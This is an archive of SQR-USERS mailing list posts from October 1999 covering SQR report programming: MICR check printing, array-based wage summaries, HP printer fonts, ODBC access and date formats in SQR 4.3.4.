http://auctions.yahoo.com > ----------------------------------------------------------------------- Donald Mellen | Ray Ontko & Co. - Richmond, IN - http://www.ontko.com/ donm@ontko.com | "In the beginning, there was nothing, which exploded" From owner-sqr-users@list.iex.net Mon Oct 11 11:26:46 1999 Date: Mon, 11 Oct 1999 11:14:45 -0500 From: Zubin Shroff Subject: PS Check Print SQR Hi all, We just acquired a printer with the check signature, micr, and logo on a DIMM chip. Unfortunately, we can't seem to get it to work. I think we have all the right escape sequences being fed in through the SQR, but I'm wondering if there are some other modifications I need to make to the PAY003 sqr. Any tips will be greatly appreciated. I believe the printer is a Troy 8100. Thnaks. From owner-sqr-users@list.iex.net Mon Oct 11 12:44:46 1999 Date: Mon, 11 Oct 1999 10:38:14 -0700 From: Clara Carter Subject: Running version 3.5 and 4.0 together Hi There, I have a client that is currently running on sqr 3.5. They want to slowly upgrade to sqr 4.0. I also have 3.5 on one machine and 4.0 on another at home and have tried to install both of them on the same machine and have had no luck. Has anyone tried this and was it successful? I have the just the client version they I believe have both client and server. They have windows 98 and NT. If someone has done this successfully can you help by telling us how we can do this. Thanks a bunch. Clara Carter From owner-sqr-users@list.iex.net Mon Oct 11 13:51:50 1999 Date: Mon, 11 Oct 1999 11:42:07 -0700 From: Benjamin Le Subject: Re: PS Check Print SQR Zubin, I had this problem when moving from SIMM to DIMM. With some reasons the DIMM will not recognize the micr font automatic as the SIMM does. I have to program the micr font(softfont) with a macro number on the DIMM and call it before printing micr account number from the program. Exp: encode '<27>&f90y3X' into $micr_id !micr id is 90 Print: print $micr_id (+1,10) code print $micr_account () !This will print micr font. At 11:14 AM 10/11/99 -0500, you wrote: > Hi all, > > We just acquired a printer with the check signature, micr, and logo on > a DIMM chip. Unfortunately, we can't seem to get it to work. I think > we have all the right escape sequences being fed in through the SQR, > but I'm wondering if there are some other modifications I need to make > to the PAY003 sqr. Any tips will be greatly appreciated. I believe the > printer is a Troy 8100. > > Thnaks. Ben Le ITS - Sylvania CC-224 Voice:(503)-977-4970 Fax:(503)-977-4987 Mailto:ble@pcc.edu From owner-sqr-users@list.iex.net Mon Oct 11 20:49:38 1999 Date: Mon, 11 Oct 1999 21:38:38 +0100 From: "tom.collins" Subject: Using 'Alter-Printer' with Different Fonts Having some problems with a purchasing report that needs to have larger fonts (yes, PeopleSoft). The printers are HP and have LOTS of internal fonts. Can anyone tell me how to reference the fonts using the printer's internal #? From owner-sqr-users@list.iex.net Mon Oct 11 16:05:58 1999 Date: Mon, 11 Oct 1999 15:50:41 -0500 From: Kimberly Blumenberg Subject: How to code a complicated report Hello all! I have been writing SQR programs for about ten months now. We have an Informix database platform with SQR 4.3.2 , UNIX Op Sys. I am writing a complicated program for the accounting dept and I need help. The program generates a report file that sums the month to date department totals (wages) for hourly employees. Sounds simple right? Wrong! This is how the report should look: 101 102 110 130 140 150 152 180 176 134 112 310etc...total of 24 columns 109 111 131 141 151 153 181 177 113 310 Dept Reg Mitt Sunday Hol Early Min Retire Wage Incentive Adjust Pay 3c1 319 555 738 837 2883 32737 9993 99438 8848 99893 3848 3c2 330 838 84849 4985 4858 484578 95495 9595 95965 54858 49595 3C4 4858 8585 85865 995 9966 8855 95968 95895 7577 734647 3646 etc...more depts The numbers is bold are earnings codes. Those aren't printed on the report. I just want to show the that I use different codes for each column. The earnings codes have a month to date value associated with each row on the earnings_bal table. I have to sum the month to date amount for each field for every department. For example, the first column is the department field. The second column contains the earnings codes for regular wages. The month to date regular wages sum for dept 3c1 is 319, which is the sum of the month to date wages for codes 101, 102 and 109. The third column contains the Mitt wages. The sum of codes 110 and 111 are the Mitt wages. etc, etc,. My question is, what is the easiest way to code this program. Do I need to use arrays, load-lookup tables or temp tables? I do know that it would be very inefficient to do 24 different select statements and changing the line in the where clause that says "and erncd in ('101','102','109') for each column. The entire program is just an extract. The only calc's that I do are the sums. Also, the number of depts that will end up on the report is unknown due to other criteria such as, only hourly employees, not in a certain location, etc. But, there will be exactly 24 columns across ( not including the dept column). Thanks in advance! From owner-sqr-users@list.iex.net Mon Oct 11 16:28:16 1999 Date: Mon, 11 Oct 1999 17:17:18 -0400 From: Vivek Pandian Subject: Re: How to code a complicated report What is your database? I have done a lot of reports of this kind. Vivek At 04:50 PM 10/11/99 , you wrote: >Hello all! I have been writing SQR programs for about ten months now. We have an >Informix database platform with SQR 4.3.2 , UNIX Op Sys. I am writing a >complicated program for the accounting dept and I need help. The program >generates a report file that sums the month to date department totals (wages) >for hourly employees. Sounds simple right? Wrong! This is how the report should >look: > > > 101 > 102 110 130 140 150 152 180 176 134 112 310etc...total of 24 >columns > 109 111 131 141 151 153 181 177 113 310 > >Dept Reg Mitt Sunday Hol Early Min > Retire Wage > Incentive Adjust > Pay > >3c1 319 555 738 837 2883 32737 9993 99438 8848 99893 >3848 >3c2 330 838 84849 4985 4858 484578 95495 9595 95965 >54858 49595 >3C4 4858 8585 85865 995 9966 8855 95968 95895 7577 734647 >3646 > >etc...more depts > > >The numbers is bold are earnings codes. Those aren't printed on the report. I >just want to show the that I use different codes for each column. The earnings >codes have a month to date value associated with each row on the earnings_bal >table. I have to sum the month to date amount for each field for every >department. For example, the first column is the department field. The second >column contains the earnings codes for regular wages. The month to date regular >wages sum for dept 3c1 is 319, which is the sum of the month to date wages for >codes 101, 102 and 109. The third column contains the Mitt wages. The sum of >codes 110 and 111 are the Mitt wages. etc, etc,. My question is, what is the >easiest way to code this program. Do I need to use arrays, load-lookup tables or >temp tables? I do know that it would be very inefficient to do 24 different >select statements and changing the line in the where clause that says "and erncd >in ('101','102','109') for each column. > >The entire program is just an extract. The only calc's that I do are the sums. >Also, the number of depts that will end up on the report is unknown due to other >criteria such as, only hourly employees, not in a certain location, etc. But, >there will be exactly 24 columns across ( not including the dept column). > > >Thanks in advance! > From owner-sqr-users@list.iex.net Mon Oct 11 16:28:25 1999 Date: Mon, 11 Oct 1999 16:18:52 -0500 From: Eric Dimick Eastman Subject: Re: How to code a complicated report Kimberly, It is a little difficult to tell from your paragraph and the columns didn't come out well on my e-mail. My first intuition is that you want to use an array. I hacked out an example below as fast as I can type. Your mileage may vary. Hope this helps, Eric I would try something like: begin-setup create-array name=totals size=24 field=total:number end-setup begin-program do main end-program begin-procedure main begin-select dept_code &main_dept_code () on-break print=never before=before_dept after=after_dept hours &main_hours wage_code &main_wage_code evaluate &main_wage_code when = '101' when = '102' array-add &main_hours to totals(0) total when = '112' array-add &main_hours to totals(1) total . . . end-evaluate from tables order by dept_code end-select end-procedure main begin-procedure before_dept clear-array totals move &main_dept_code to $dept_code end-procedure before_dept begin-procedure after_dept print $dept_code (+1,5) move 0 to #count while #count < 24 get #total from totals(#count) total let #col = #count * 5 +15 print #total (,#col) edit 999.9 add 1 to #count end-while end-procedure after_dept Kimberly Blumenberg wrote: > Hello all! I have been writing SQR programs for about ten months now. We have an > Informix database platform with SQR 4.3.2 , UNIX Op Sys. I am writing a > complicated program for the accounting dept and I need help. The program > generates a report file that sums the month to date department totals (wages) > for hourly employees. Sounds simple right? Wrong! This is how the report should > look: > > 101 > 102 110 130 140 150 152 180 176 134 112 310etc...total of 24 > columns > 109 111 131 141 151 153 181 177 113 310 > > Dept Reg Mitt Sunday Hol Early Min > Retire Wage > Incentive Adjust > Pay > > 3c1 319 555 738 837 2883 32737 9993 99438 8848 99893 > 3848 > 3c2 330 838 84849 4985 4858 484578 95495 9595 95965 > 54858 49595 > 3C4 4858 8585 85865 995 9966 8855 95968 95895 7577 734647 > 3646 > > etc...more depts > > The numbers is bold are earnings codes. Those aren't printed on the report. I > just want to show the that I use different codes for each column. The earnings > codes have a month to date value associated with each row on the earnings_bal > table. I have to sum the month to date amount for each field for every > department. For example, the first column is the department field. The second > column contains the earnings codes for regular wages. The month to date regular > wages sum for dept 3c1 is 319, which is the sum of the month to date wages for > codes 101, 102 and 109. The third column contains the Mitt wages. The sum of > codes 110 and 111 are the Mitt wages. etc, etc,. My question is, what is the > easiest way to code this program. Do I need to use arrays, load-lookup tables or > temp tables? I do know that it would be very inefficient to do 24 different > select statements and changing the line in the where clause that says "and erncd > in ('101','102','109') for each column. > > The entire program is just an extract. The only calc's that I do are the sums. > Also, the number of depts that will end up on the report is unknown due to other > criteria such as, only hourly employees, not in a certain location, etc. But, > there will be exactly 24 columns across ( not including the dept column). > > Thanks in advance! -- ------------------------------------------------------------------------ Eric Dimick Eastman | To match what we [humans] can do, there would Ray Ontko & Co. | have to 3 billion of them [computers] . . . erice@ontko.com | wired together, . . . talking incessantly. http://www.ontko.com | Lewis Thomas, The Lives of a Cell 1974 From owner-sqr-users@list.iex.net Mon Oct 11 20:42:43 1999 Date: Tue, 12 Oct 1999 14:36:43 +1300 From: "Wallach, Jarod" Subject: Re: How to code a complicated report This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01BF1452.3DC8814C Content-Type: text/plain; charset="iso-8859-1" I have found in the past that the best way to do this type of reporting (especially if you need to display the results nicely) is to create an SQR to generate the data needed and place this in a new table (specifically created for the report or batch of reports) and then design a crystal report to do the data fetching and displaying. this of course means that you will need to update the reporting table regularly, say with the overnight batch processing hope this helps > Jarod Wallach > kpmg > Enabling Technologies > mailto:jwallach@kpmg.co.nz > http://www.kpmg.co.nz > Consultant, KPMG > 135 Victoria Street > P.O. Box 996 > KPMG Wellington Phone +64 4 3828800 x8886 > New Zealand Fax +64 4 8021221 > > Disclaimer: > The information in this electronic mail message is confidential and > may be legally privileged. It is intended solely for the addressee. > Access to this Internet electronic mail message by anyone else is > unauthorised. If you are not the intended recipient, any disclosure, > copying, distribution or any action taken or omitted to be taken in > reliance on it is prohibited and may be unlawful. When addressed to > our clients any opinions or advice contained in this Internet > electronic mail message are subject to the terms and conditions > expressed in the governing KPMG client engagement letter -----Original Message----- From: Vivek Pandian [mailto:vp25@OIT.GATECH.EDU] Sent: Tuesday, 12 October 1999 10:17 To: Multiple recipients of list SQR-USERS Subject: Re: How to code a complicated report What is your database? I have done a lot of reports of this kind. Vivek At 04:50 PM 10/11/99 , you wrote: >Hello all! I have been writing SQR programs for about ten months now. We have an >Informix database platform with SQR 4.3.2 , UNIX Op Sys. I am writing a >complicated program for the accounting dept and I need help. The program >generates a report file that sums the month to date department totals (wages) >for hourly employees. Sounds simple right? Wrong! This is how the report should >look: > > > 101 > 102 110 130 140 150 152 180 176 134 112 310etc...total of 24 >columns > 109 111 131 141 151 153 181 177 113 310 > >Dept Reg Mitt Sunday Hol Early Min > Retire Wage > Incentive Adjust > Pay > >3c1 319 555 738 837 2883 32737 9993 99438 8848 99893 >3848 >3c2 330 838 84849 4985 4858 484578 95495 9595 95965 >54858 49595 >3C4 4858 8585 85865 995 9966 8855 95968 95895 7577 734647 >3646 > >etc...more depts > > >The numbers is bold are earnings codes. Those aren't printed on the report. I >just want to show the that I use different codes for each column. The earnings >codes have a month to date value associated with each row on the earnings_bal >table. I have to sum the month to date amount for each field for every >department. For example, the first column is the department field. The second >column contains the earnings codes for regular wages. The month to date regular >wages sum for dept 3c1 is 319, which is the sum of the month to date wages for >codes 101, 102 and 109. The third column contains the Mitt wages. The sum of >codes 110 and 111 are the Mitt wages. etc, etc,. My question is, what is the >easiest way to code this program. Do I need to use arrays, load-lookup tables or >temp tables? I do know that it would be very inefficient to do 24 different >select statements and changing the line in the where clause that says "and erncd >in ('101','102','109') for each column. > >The entire program is just an extract. The only calc's that I do are the sums. >Also, the number of depts that will end up on the report is unknown due to other >criteria such as, only hourly employees, not in a certain location, etc. But, >there will be exactly 24 columns across ( not including the dept column). > > >Thanks in advance! > ------_=_NextPart_000_01BF1452.3DC8814C Content-Type: application/octet-stream; name="Jarod Wallach (E-mail).vcf" Content-Disposition: attachment; filename="Jarod Wallach (E-mail).vcf" BEGIN:VCARD VERSION:2.1 N:Wallach;Jarod FN:Jarod Wallach (E-mail) ORG:KPMG New Zealand;Enabling Technologies TITLE:Consultant TEL;WORK;VOICE:+64 (4) 382 8800 TEL;WORK;FAX:+64 (4) 802 1221 ADR;WORK;ENCODING=QUOTED-PRINTABLE:;;KPMG Centre=0D=0A135 Victoria Street=0D=0A(PO Box 996);Wellington;;;New Ze= aland LABEL;WORK;ENCODING=QUOTED-PRINTABLE:KPMG Centre=0D=0A135 Victoria Street=0D=0A(PO Box 996)=0D=0AWellington=0D= =0ANew Zealand EMAIL;PREF;INTERNET:jwallach@kpmg.co.nz REV:19990505T035936Z END:VCARD ------_=_NextPart_000_01BF1452.3DC8814C-- From owner-sqr-users@list.iex.net Tue Oct 12 07:32:54 1999 Date: Tue, 12 Oct 1999 08:23:57 -0400 From: "Brian O'Neill" Subject: Not read: DUPLEX PRINTING USING -PRINTER::WP SQR FLAG eJ8+IjIMAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAFwAAAFJFUE9SVC5J UE0uTm90ZS5JUE5OUk4AtwYBDYAEAAIAAAACAAIAAQqAAQAhAAAANUYxMkQ5NEJCQzcyRDMxMTk1 OTIwMDYwOTc2QUMyRUIAGgcBA5AGAFwFAAAdAAAACwAjAAAAAAADACYAAAAAAAsAKQAAAAAAAgEx AAEAAAB0AQAAUENERkVCMDkAAQACAHEAAAAAAAAAOKG7EAXlEBqhuwgAKypWwgAARU1TTURCLkRM TAAAAAAAAAAAG1X6IKpmEc2byACqAC/EWgwAAABNRVJDVVJZAC9vPXRlbXBlL291PWNlbnRyYWwv Y249UmVjaXBpZW50cy9jbj1oZW5yeXdhAC4AAAAAAAAAYUb+Cqig0BGC+wBgl2rC6wEA+3guGdH0 0BGVagBgl2rC6wAAAWdtZQAARgAAAAAAAABhRv4KqKDQEYL7AGCXasLrBwD7eC4Z0fTQEZVqAGCX asLrAAABZ21lAAD7eC4Z0fTQEZVqAGCXasLrAAABd+EDAAAuAAAAAAAAAGFG/gqooNARgvsAYJdq wusBAC3N2uvhn9ARgvcAYJdqwusAAAABVJ8AABAAAABfEtlLvHLTEZWSAGCXasLrLAAAAERVUExF WCBQUklOVElORyBVU0lORyAtUFJJTlRFUjo6V1AgU1FSIEZMQUcAQAAyAGAHPKisFL8BAwA2AAAA AAACAUMAAQAAAD4AAAAAAAAAgSsfpL6jEBmdbgDdAQ9UAgAAAABXYWRlLCBIZW5yeQBTTVRQAEhl bnJ5X1dhZGVAVEVNUEUuR09WAAAAHgBEAAEAAAAMAAAAV2FkZSwgSGVucnkAHgBJAAEAAAAsAAAA RFVQTEVYIFBSSU5USU5HIFVTSU5HIC1QUklOVEVSOjpXUCBTUVIgRkxBRwACAUwAAQAAAIUAAAAA AAAAgSsfpL6jEBmdbgDdAQ9UAgAAAABEaXNjdXNzaW9uIG9mIFNRUiwgICAgICAgICAgICAgU1FS SUJFIFRlY2hub2xvZ2llcydzIGRhdGFiYXNlIHJlcG9ydGluZyBsYW5ndWFnZQBTTVRQAFNRUi1V U0VSU0BsaXN0LmlleC5uZXQAAAAAHgBNAAEAAABRAAAARGlzY3Vzc2lvbiBvZiBTUVIsICAgICAg ICAgICAgIFNRUklCRSBUZWNobm9sb2dpZXMncyBkYXRhYmFzZSByZXBvcnRpbmcgbGFuZ3VhZ2UA AAAAQABOANBrC13aBr8BQABVAIDWBDTbBr8BHgBwAAEAAAAsAAAARFVQTEVYIFBSSU5USU5HIFVT SU5HIC1QUklOVEVSOjpXUCBTUVIgRkxBRwACAXEAAQAAABsAAAABvwbagrwvEEq1cmAR07uZAFAE sibbA3SJYBcAHgByAAEAAAABAAAAAAAAAB4AcwABAAAAAQAAAAAAAAAeAHQAAQAAACYAAABNdWx0 aXBsZSByZWNpcGllbnRzIG9mIGxpc3QgU1FSLVVTRVJTAAAACwAIDAAAAAACAR0MAQAAAB4AAABT TVRQOkJPTkVJTExAVEdUU09MVVRJT05TLkNPTQAAAAsAAQ4BAAAAAwAUDgEAAAAeAAEQAQAAABkA AABNZXNzYWdlIHdhcyBub3QgcmVhZCBieToAAAAAAgH4DwEAAAAQAAAAwPg6ZTY/vhG5+rKt/Ja1 GwIB+g8BAAAAEAAAAMD4OmU2P74RufqyrfyWtRsCAfsPAQAAAE0AAAAAAAAAOKG7EAXlEBqhuwgA KypWwgAAbXNwc3QuZGxsAAAAAABOSVRB+b+4AQCqADfZbgAAAEM6XGV4Y2hhbmdlXG91dGxvb2su cHN0AAAAAAMA/g8FAAAAAwANNP03AAACAX8AAQAAADEAAAAwMDAwMDAwMEMwRjgzQTY1MzYzRkJF MTFCOUZBQjJBREZDOTZCNTFCMjQxQTMxMDAAAAAAHmE= From owner-sqr-users@list.iex.net Tue Oct 12 08:07:35 1999 Date: Tue, 12 Oct 1999 07:57:54 -0500 From: Kimberly Blumenberg Subject: Re: How to code a complicated report --0__=VWMTPPKCfmGB49WqFu0WAcWKfHs4C0GG1uemsaEPUL7nfEG1cVGyBb3E Content-type: text/plain; charset=us-ascii Content-Disposition: inline Thanks a lot! I think this will work. (Embedded image moved Eric Dimick Eastman to file: 10/11/99 04:18 PM pic08850.pcx) Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: (bcc: Kimberly Blumenberg) Subject: Re: How to code a complicated report Kimberly, It is a little difficult to tell from your paragraph and the columns didn't come out well on my e-mail. My first intuition is that you want to use an array. I hacked out an example below as fast as I can type. Your mileage may vary. Hope this helps, Eric I would try something like: begin-setup create-array name=totals size=24 field=total:number end-setup begin-program do main end-program begin-procedure main begin-select dept_code &main_dept_code () on-break print=never before=before_dept after=after_dept hours &main_hours wage_code &main_wage_code evaluate &main_wage_code when = '101' when = '102' array-add &main_hours to totals(0) total when = '112' array-add &main_hours to totals(1) total . . . end-evaluate from tables order by dept_code end-select end-procedure main begin-procedure before_dept clear-array totals move &main_dept_code to $dept_code end-procedure before_dept begin-procedure after_dept print $dept_code (+1,5) move 0 to #count while #count < 24 get #total from totals(#count) total let #col = #count * 5 +15 print #total (,#col) edit 999.9 add 1 to #count end-while end-procedure after_dept Kimberly Blumenberg wrote: > Hello all! I have been writing SQR programs for about ten months now. We have an > Informix database platform with SQR 4.3.2 , UNIX Op Sys. I am writing a > complicated program for the accounting dept and I need help. The program > generates a report file that sums the month to date department totals (wages) > for hourly employees. Sounds simple right? Wrong! This is how the report should > look: > > 101 > 102 110 130 140 150 152 180 176 134 112 310etc...total of 24 > columns > 109 111 131 141 151 153 181 177 113 310 > > Dept Reg Mitt Sunday Hol Early Min > Retire Wage > Incentive Adjust > Pay > > 3c1 319 555 738 837 2883 32737 9993 99438 8848 99893 > 3848 > 3c2 330 838 84849 4985 4858 484578 95495 9595 95965 > 54858 49595 > 3C4 4858 8585 85865 995 9966 8855 95968 95895 7577 734647 > 3646 > > etc...more depts > > The numbers is bold are earnings codes. Those aren't printed on the report. I > just want to show the that I use different codes for each column. The earnings > codes have a month to date value associated with each row on the earnings_bal > table. I have to sum the month to date amount for each field for every > department. For example, the first column is the department field. The second > column contains the earnings codes for regular wages. The month to date regular > wages sum for dept 3c1 is 319, which is the sum of the month to date wages for > codes 101, 102 and 109. The third column contains the Mitt wages. The sum of > codes 110 and 111 are the Mitt wages. etc, etc,. My question is, what is the > easiest way to code this program. Do I need to use arrays, load-lookup tables or > temp tables? I do know that it would be very inefficient to do 24 different > select statements and changing the line in the where clause that says "and erncd > in ('101','102','109') for each column. > > The entire program is just an extract. The only calc's that I do are the sums. > Also, the number of depts that will end up on the report is unknown due to other > criteria such as, only hourly employees, not in a certain location, etc. But, > there will be exactly 24 columns across ( not including the dept column). > > Thanks in advance! -- ------------------------------------------------------------------------ Eric Dimick Eastman | To match what we [humans] can do, there would Ray Ontko & Co. | have to 3 billion of them [computers] . . . erice@ontko.com | wired together, . . . talking incessantly. http://www.ontko.com | Lewis Thomas, The Lives of a Cell 1974 --0__=VWMTPPKCfmGB49WqFu0WAcWKfHs4C0GG1uemsaEPUL7nfEG1cVGyBb3E Content-type: application/octet-stream; name="pic08850.pcx" Content-Disposition: attachment; filename="pic08850.pcx" Content-transfer-encoding: base64 CgUBCAAAAABoACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAABaQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAD1E9sTzRPHE8MTwhP1E9sTzRPHE8MTwhP1E9sTzRPHE8MTwhP1E9sTzRPH E8MTwhP1E9sTzRPHE8MTwhP1E9sTzRPHE8MTwhP1E9sTzRPHE8MTwhP1E9sTzRPHE8MTwhP1E9sT zRPHE8MTwhPwEwzIBgzYE8wTxhPDE8IT7hPOBtcTzBPGE8MTE+wTwgbCBwbCEgbCEgbCEsUG1hPL E8YTwxMT6hMMwgYHwgLCAwISwgfEEsMCwwbVE8sTxRPDExPpE8MGAwcCBwMCwhLDB8ISwgISwgLD BtUTyhPFE8MTE+gTwgIHA8ICEw4DDgLDE8USwwLCEMIG1BPKE8UTwxMT5xMCAwcDAg4TDgITwgIS D8ISD8ISBRICEcICwwbUE8oTxRPCExPmEwYCBwMCDgIOwgLDExITEhPCEg8GxgLDBtMMDAfJE8QT whMT5hMGwwITBgMCDhLFEw8SE8ISBgIDwhIDEsMGB9MDxwwHxRPDExPlEwYHAhESAg8CwhMPwhMP xBMPxRIQwgIDAgMCBtMDxwPEDAfDE8IT4RMHwwzCBgLCEhMCDxLIE8MSD8MSwwIQAwIDBgfSDMkD wgPCDAfCExPbEwfGDMIDDAIHERITEhMSwxMPwxMPwxPDEgIDAgMCwwMCBgzREwfHDMYDDMITE9YT B8UMyAMGB8ICBhLDAsYTEhMSExIPwhIHAgcCAwUQAgYRBgfSE8UTB8QMwgMMwhMT0hMHxAzLA8IM BsISDxESExITAw4DxBMSExITwxICBwPCAsMDDMIGB9ITyRMHwwzCExPPEwfDDMkDxQwHwhMGBxIT AhECEwMOAg7DExITDxMPwxIDAgMCBwMCDAYRBgfSE8kTwhPCDMITE8wTB8MMxwPEDMIHxxMGxBLD Ag4DDgIGwg/IEgIDwgIDAgwCEMIGB9ITyRMHDAcMwhMTyhMHwgzGA8MMwgfMEwYHwhLCEAIOAg4C DhDDAhIPxhIFAgXDAgUCEQYH0hPHEwfCDAcPDMITE8gTB8IMxQPDDAfQEwbDEhDEAhAOEA4QwgLG EgcSBhIGBcMCBcIGB9ATB8UMEwfCDA8HDwwHwhMTxhMHwgzEA8MMB9MTBgfCEhADEMICDhAOEMIC EQIDxxIGBwbCAgUCEQYHyxMHxAwHwhMHEwzCEwcPBw8MB8MTE8UTBwzEA8IMB9YTBsQSEAMCA8UC EQIDAgPDEgcSBgfCBgUQAhDCBgfGEwfEDAfGE8INEwzCEw8HwgwHwxPCE8QTBwzDA8IMB9gTBgfE EhACEMYCEQIDAsQSBhLDBsICEALCBgfCEwfDDAfKEwfCDRMHwhPCDAfEE8ITE8MTBwzCA8IMB9oT DBIHwxLDDBEDxQIDAgPDEgYSBgfCBgIQAhAGDAfCEwzDE8MHyRMHwhPCBxMHxRPDExPDEwzCAwwH 3RMGxxICEQPDAgMCA8MSBhIGBwYMBhACEAIGDMMTDBPCB8YTwwfHEwfGE8MTwhPDEwwDDAfeEwYH xxICEQPDAgMCwhIGEgYHBgwGEAIQAsIGB8MTDMYTwwfKEwzGE8MTwhPDE8IMB98TDBLCB8USAgMR xAISB8ISBgcGDAYQBhAGEAYMB8MMB8kTwwfHEwzGE8MTwhPDEwwPwgzfEwYSB8ISB8ISAhECAwID EgcSBwYHBgwGEAYQxgzDD8IHxRPDB8kTBwzGE8MTwhPDEwzDD8QM3BPCBhIGwxIGAhECAwIHBgcG yAzJDxMHzRMHwwwHxxPDE8ITwxMHDMYPxwwH1BMGEgYSBhLLDM4PwwwTDMcTwgfEDAfJE8QTwhMT xBMHwgzLD9sM0w/GDAfDEwzDEwfEDAfLE8YTwxMTxhMHxAztD8gMBgfIE8QMB84TxxPDE8ITyhMH xwzbD8sMEAUMBcIMwgYH1RPKE8UTwxMT0RMH2wwGEAYQBhACBQwFDAUMBgwHBgfWE8sTxRPDExPu EwYMBhAGEAIGDAYMwwYH1xPLE8YTwxMT8BPKBgfYE8wTxhPDExP1E9sTzRPHE8MTwhP1E9sTzRPH E8MTwhMMAAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw//vwoKCkgICA/wAAAP8A//8AAAD/ /wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw//vwoKCkgICA/wAAAP8A//8A AAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw//vwoKCkgICA/wAAAP8A //8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw//vwoKCkgICA/wAA AP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw//vwoKCkgICA /wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw//vwoKCk gICA/wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw//vw oKCkgICA/wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzApsrw //vwoKCkgICA/wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDAwNzA psrw//vwoKCkgICA/wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICAwMDA wNzApsrw//vwoKCkgICA/wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACAAICA wMDAwNzApsrw//vwoKCkgICA/wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACAgACA AICAwMDAwNzApsrw//vwoKCkgICA/wAAAP8A//8AAAD//wD/AP//////AAAAgAAAAIAAgIAAAACA gACA//vwoKCkgICA/wAAAP8A//8AAAD//wD/AP////// --0__=VWMTPPKCfmGB49WqFu0WAcWKfHs4C0GG1uemsaEPUL7nfEG1cVGyBb3E-- From owner-sqr-users@list.iex.net Tue Oct 12 08:36:40 1999 Date: Tue, 12 Oct 1999 09:29:58 -0400 From: James Smith Subject: Running SQR against Access Database Hello Everyone; Is it possible to run SQR against a stand alone MS Access Database? The data for the reports that I wish to develop is not yet on the Oracle database but is currently contained in a stand alone MS Access database. I would like to create these reports prior to the data being moved over to the Oracle database. This capability, if possible, would also allow me to work on these reports away from the office. At the present time I am developing and running reports using SQR Workbench Ver. 4.1.1 for Windows 95 against an Oracle 8.0.4 database. In answering this question please keep in mind that I am familiar with developing SQR reports utilizing SQR WorkBench, however, I was not directly involved with installing and configuring SQR on this computer. I am familiar with using the ODBC Data Source Administrator in Win95 Controll Manager for installing and configuring DSN's. I am very new to SQR so if I have neglected to pass on any necessary information in answering this question please let me know and I will correct it immediately. Thank you in advance for any and all help with this question. James Smith james88@ibm.net From owner-sqr-users@list.iex.net Tue Oct 12 11:51:29 1999 Date: Tue, 12 Oct 1999 12:37:00 -0400 From: Richard McCutcheon Subject: Upgrade to SQR 4.3.4 Hi all. I am Upgrading to SQR version 4.3.4, and realize that there is different date handling being used in this version (compared to SQR Ver 3.0.12.2). I am using SQR in conjunction with PeopleSoft HRMS Ver 7, and a UDB (DB2 Ver 5) database on an AIX platform. We have followed the upgrade instructions, and added the -zif flag to point to the pssqr.ini file, in the configuration manager, but are still receiving errors the tell us the date we are processing are not in the format listed in the pssqr.ini file. With DB2 the format of dates stored in the database is yyyy-mm-dd, but we still are have problems with the SQR_DB_DATE_FORMAT variable. Does anyone else have any suggestions as to what to try next, or can anyone who as done this Upgrade on DB2/AIX let me know what their upgrade steps are? Any immediate help would be much appreciated. Thanks. Richard McCutcheon. Honda of Canada Mfg. From owner-sqr-users@list.iex.net Tue Oct 12 12:04:08 1999 Date: Tue, 12 Oct 1999 12:57:11 EDT From: Norman Dolph Subject: Re: Using 'Alter-Printer' with Different Fonts with an HP III or later, execute the Print Fonts listing from the dashboard of the HP In the rightmost column of this listing will be the character string to produce this font. (you must plug in the point size - start off with 10 or so to see if it's too big or too small and then adjust accordingly.) Create a string variable for each font you want to use and ENCODE it with this setup string. usint <27> where the HP string calls for Esc. Name these stringssomething like $BigFont, $Bigitalics and $Vanilla etc. I usually use WRITE rather than PRINT... so when you want to switch Fonts Use WRITE 2 from $BigFont !to set it to the big font. $FooBar !what I want printed in the big font $vanilla !to put it back again Now if you want to print columns in proportional fonts, that requires direct cursor addressing on the HP which is another topic. Hope this helps Norman Dolph From owner-sqr-users@list.iex.net Tue Oct 12 12:56:40 1999 Date: Tue, 12 Oct 1999 12:46:21 -0500 From: "Wendel, Robbi" Subject: Re: Upgrade to SQR 4.3.4 We have had some similar problems with our custom SQR's. In most cases the use of an edit mask for printing or the use of datetostr() and strtodate() in our logic. HTH, Robbi -----Original Message----- From: Richard McCutcheon [mailto:Richard_McCutcheon@HCM.HONDA.COM] Sent: Tuesday, October 12, 1999 11:37 AM To: Multiple recipients of list SQR-USERS Subject: Upgrade to SQR 4.3.4 Hi all. I am Upgrading to SQR version 4.3.4, and realize that there is different date handling being used in this version (compared to SQR Ver 3.0.12.2). I am using SQR in conjunction with PeopleSoft HRMS Ver 7, and a UDB (DB2 Ver 5) database on an AIX platform. We have followed the upgrade instructions, and added the -zif flag to point to the pssqr.ini file, in the configuration manager, but are still receiving errors the tell us the date we are processing are not in the format listed in the pssqr.ini file. With DB2 the format of dates stored in the database is yyyy-mm-dd, but we still are have problems with the SQR_DB_DATE_FORMAT variable. Does anyone else have any suggestions as to what to try next, or can anyone who as done this Upgrade on DB2/AIX let me know what their upgrade steps are? Any immediate help would be much appreciated. Thanks. Richard 